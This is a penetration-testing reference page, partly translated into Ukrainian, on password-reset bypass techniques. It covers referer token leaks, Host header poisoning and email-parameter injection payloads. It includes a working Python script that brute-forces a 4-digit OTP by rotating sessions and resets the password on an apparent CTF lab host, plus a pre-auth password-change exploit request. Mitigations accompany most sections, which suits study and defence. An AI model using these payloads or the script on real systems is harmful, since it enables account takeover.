# Обхід скидання/забутого пароля {{#include ../banners/hacktricks-training.md}} ## **Password Reset Token Leak Via Referrer** - The HTTP referer header may leak the токен для скидання пароля if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset. - **Impact**: Можливе захоплення облікового запису через Cross-Site Request Forgery (CSRF) атаки. - **Exploitation**: Щоб перевірити, чи витікає токен для скидання пароля в referer header, **request a password reset** на вашу електронну адресу і **click the reset link**, що прийде. **Do not change your password** негайно. Натомість **navigate to a third-party website** (наприклад Facebook або Twitter), одночасно **intercepting the requests using Burp Suite**. Перевірте запити, щоб з'ясувати, чи **referer header contains the password reset token**, оскільки це може розкрити чутливу інформацію третім особам. - **References**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) - [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) ## **Password Reset Poisoning** - Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site. - **Impact**: Призводить до потенційного захоплення облікового запису через leaking reset tokens to attackers. - **Mitigation Steps**: - Validate the Host header against a whitelist of allowed domains. - Use secure, server-side methods to generate absolute URLs. - **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`. - **References**: - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **Password Reset By Manipulating Email Parameter** Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link. - Додати attacker email як другий параметр, використовуючи & ```php POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` - Додайте електронну адресу атакуючого як другий параметр, використовуючи %20 ```php POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` - Додайте електронну адресу атакуючого як другий параметр, використовуючи | ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` - Додати електронну адресу attacker як другий параметр, використовуючи cc ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` - Додати attacker email як другий параметр, використовуючи bcc ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" ``` - Додайте attacker email як другий параметр, використовуючи , ```php POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` - Додати attacker email як другий параметр у json array ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **Заходи пом'якшення**: - Правильно розбирайте та перевіряйте параметри електронної пошти на стороні сервера. - Використовуйте prepared statements або parameterized queries, щоб запобігти injection attacks. - **Посилання**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) ## **Зміна email та пароля будь-якого користувача через параметри API** - Зловмисники можуть змінювати параметри електронної пошти та пароля в API-запитах, щоб змінити облікові дані облікового запису. ```php POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **Заходи пом'якшення**: - Забезпечте сувору валідацію параметрів та перевірки автентифікації. - Реалізуйте надійне логування та моніторинг для виявлення й реагування на підозрілі дії. - **Посилання**: - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **No Rate Limiting: Email Bombing** - Відсутність rate limiting на запитах скидання пароля може призвести до email bombing, що перевантажить користувача листами для скидання пароля. - **Заходи пом'якшення**: - Реалізуйте rate limiting на основі IP-адреси або облікового запису користувача. - Використовуйте CAPTCHA, щоб запобігти автоматизованому зловживанню. - **Посилання**: - [HackerOne Report 280534](https://hackerone.com/reports/280534) ## **Дізнатися, як генерується токен для скидання пароля** - Розуміння патерну або методу генерації токена може дозволити передбачати або brute-forcing токени. Деякі варіанти: - На основі мітки часу - На основі UserID - На основі email користувача - На основі імені та прізвища - На основі дати народження - На основі криптографії - **Заходи пом'якшення**: - Використовуйте сильні криптографічні методи для генерації токенів. - Забезпечте достатню випадковість та довжину, щоб запобігти передбачуваності. - **Інструменти**: Використовуйте Burp Sequencer для аналізу випадковості токенів. ## **Передбачуваний UUID** - Якщо UUIDs (версія 1) вгадувані або передбачувані, зловмисники можуть brute-force їх, щоб згенерувати дійсні токени скидання. Перевірте: {{#ref}} uuid-insecurities.md {{#endref}} - **Заходи пом'якшення**: - Використовуйте GUID версії 4 для випадковості або впровадьте додаткові заходи безпеки для інших версій. - **Інструменти**: Використовуйте [guidtool](https://github.com/intruder-io/guidtool) для аналізу та генерації GUID. ## **Маніпуляція відповіді: заміна помилкової відповіді на коректну** - Маніпуляція HTTP-відповідями для обходу повідомлень про помилку або обмежень. - **Заходи пом'якшення**: - Реалізуйте серверні перевірки, щоб забезпечити цілісність відповідей. - Використовуйте захищені канали зв'язку, такі як HTTPS, щоб запобігти man-in-the-middle атакам. - **Посилання**: - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Використання простроченого токена** - Перевірка, чи можна все ще використовувати прострочені токени для скидання пароля. - **Заходи пом'якшення**: - Впровадьте суворі політики терміну дії токенів і перевіряйте їх прострочення на стороні сервера. ## **Brute Force Password Reset Token** - Спроба brute-force токена скидання за допомогою інструментів на кшталт Burpsuite та IP-Rotator для обходу обмежень за IP. - **Заходи пом'якшення**: - Впровадьте надійні механізми rate-limiting і блокування облікового запису. - Моніторьте підозрілі дії, які вказують на brute-force атаки. ## **Спроба використати свій токен** - Перевірка, чи може reset token зловмисника бути використаний разом з email жертви. - **Заходи пом'якшення**: - Переконайтеся, що токени прив'язані до сесії користувача або інших атрибутів, специфічних для користувача. ## **Інвалідація сесії при виході/скиданні пароля** - Забезпечення інвалідації сесій, коли користувач виходить або скидає пароль. - **Заходи пом'якшення**: - Реалізуйте правильне управління сесіями, забезпечуючи інвалідацію всіх сесій при виході або скиданні пароля. ## **Інвалідація сесії при виході/скиданні пароля** - Reset tokens повинні мати час життя, після якого вони стають недійсними. - **Заходи пом'якшення**: - Встановіть розумний час життя для reset token і суворо примусово перевіряйте його на боці сервера. ## **Обхід ліміту OTP шляхом зміни сесії** - Якщо сайт використовує сесію користувача для відстеження невірних спроб OTP і OTP був слабким (<= 4 цифри), то ми можемо ефективно brute-force OTP. - **Експлуатація**: - просто запросіть новий токен сесії після блокування сервером. - **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!): ``` python # Authentication bypass by password reset # by coderMohammed import requests import random from time import sleep headers = { "User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", "Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" } url = "http://10.10.12.231:1337/reset_password.php" logout = "http://10.10.12.231:1337/logout.php" root = "http://10.10.12.231:1337/" parms = dict() ter = 0 phpsessid = "" print("[+] Starting attack!") sleep(3) print("[+] This might take around 5 minutes to finish!") try: while True: parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d parms["s"] = 164 # not important it only efects the frontend res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) if ter == 8: # follow number of trails out = requests.get(logout,headers=headers) # log u out mainp = requests.get(root) # gets another phpssid (token) cookies = out.cookies # extract the sessionid phpsessid = cookies.get('PHPSESSID') headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for ter = 0 # reset ter so we get a new session after 8 trails else: ter += 1 if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing) print(len(res.text)) # for debug info print(phpsessid) reset_data = { # here we will change the password to somthing new "new_password": "D37djkamd!", "confirm_password": "D37djkamd!" } reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) print("[+] Password has been changed to:D37djkamd!") break except Exception as e: print("[+] Attck stopped") ``` ## Довільне скидання пароля через skipOldPwdCheck (pre-auth) Деякі реалізації відкривають дію зміни пароля, яка викликає routine зміни пароля з skipOldPwdCheck=true і не перевіряє жодного reset token або права власності. Якщо endpoint приймає параметр action, наприклад change_password, та username/new password в тілі запиту, зловмисник може скинути довільні облікові записи pre-auth. Вразливий патерн (PHP): ```php // hub/rpwd.php RequestHandler::validateCSRFToken(); $RP = new RecoverPwd(); $RP->process($_REQUEST, $_POST); // modules/Users/RecoverPwd.php if ($request['action'] == 'change_password') { $body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']); } public function displayChangePwd($smarty, $username, $newpwd) { $current_user = CRMEntity::getInstance('Users'); $current_user->id = $current_user->retrieve_user_id($username); // ... criteria checks omitted ... $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id); } ``` Запит на експлуатацію (концепція): ```http POST /hub/rpwd.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! ``` Заходи пом'якшення: - Завжди вимагайте дійсний, time-bound reset token, прив'язаний до account і session перед зміною пароля. - Ніколи не відкривайте доступ до шляхів skipOldPwdCheck неавторизованим користувачам; вимагайте автентифікацію для звичайної зміни пароля та перевіряйте старий пароль. - Скасуйте всі активні sessions та reset tokens після зміни пароля. ## Джерела - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) {{#include ../banners/hacktricks-training.md}}